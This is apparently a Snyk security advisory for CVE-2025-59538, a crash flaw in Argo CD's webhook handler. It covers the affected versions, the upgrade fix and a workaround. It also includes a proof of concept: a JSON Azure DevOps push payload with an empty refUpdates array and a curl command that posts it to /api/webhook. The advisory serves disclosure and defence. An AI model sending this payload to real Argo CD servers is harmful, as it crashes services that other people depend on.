Improper Check or Handling of Exceptional Conditions Affecting github.com/argoproj/argo-cd/v2/util/webhook package, versions >=2.9.0-rc1 <2.14.20
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
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Start learning- Snyk IDSNYK-GOLANG-GITHUBCOMARGOPROJARGOCDV2UTILWEBHOOK-13173008
- published1 Oct 2025
- disclosed30 Sept 2025
- creditJakub Ciolek
Introduced: 30 Sep 2025
NewCVE-2025-59538 Â (opens in a new tab)How to fix?
Upgrade github.com/argoproj/argo-cd/v2/util/webhook to version 2.14.20 or higher.
Overview
Affected versions of this package are vulnerable to Improper Check or Handling of Exceptional Conditions in the /api/webhook endpoint. An attacker can cause the server process to crash by sending an Azure DevOps Push event with an empty resource.refUpdates array.
Note:
This is only exploitable if the default configuration is used where the webhook.azuredevops.username and webhook.azuredevops.password are not set.
Workaround
This vulnerability can be mitigated by configuring a webhook secret to restrict access to trusted parties or by setting the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.
PoC
Azure DevOps payload:
{
"eventType": "git.push",
"resource": {
"refUpdates": [],
"repository": {
"remoteUrl": "https://example.com/dummy",
"defaultBranch": "refs/heads/master"
}
}
}
Push event:
curl -k -X POST https://argocd.example.com/api/webhook \
-H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \
-H 'Content-Type: application/json' \
--data-binary @payload-azure-empty.json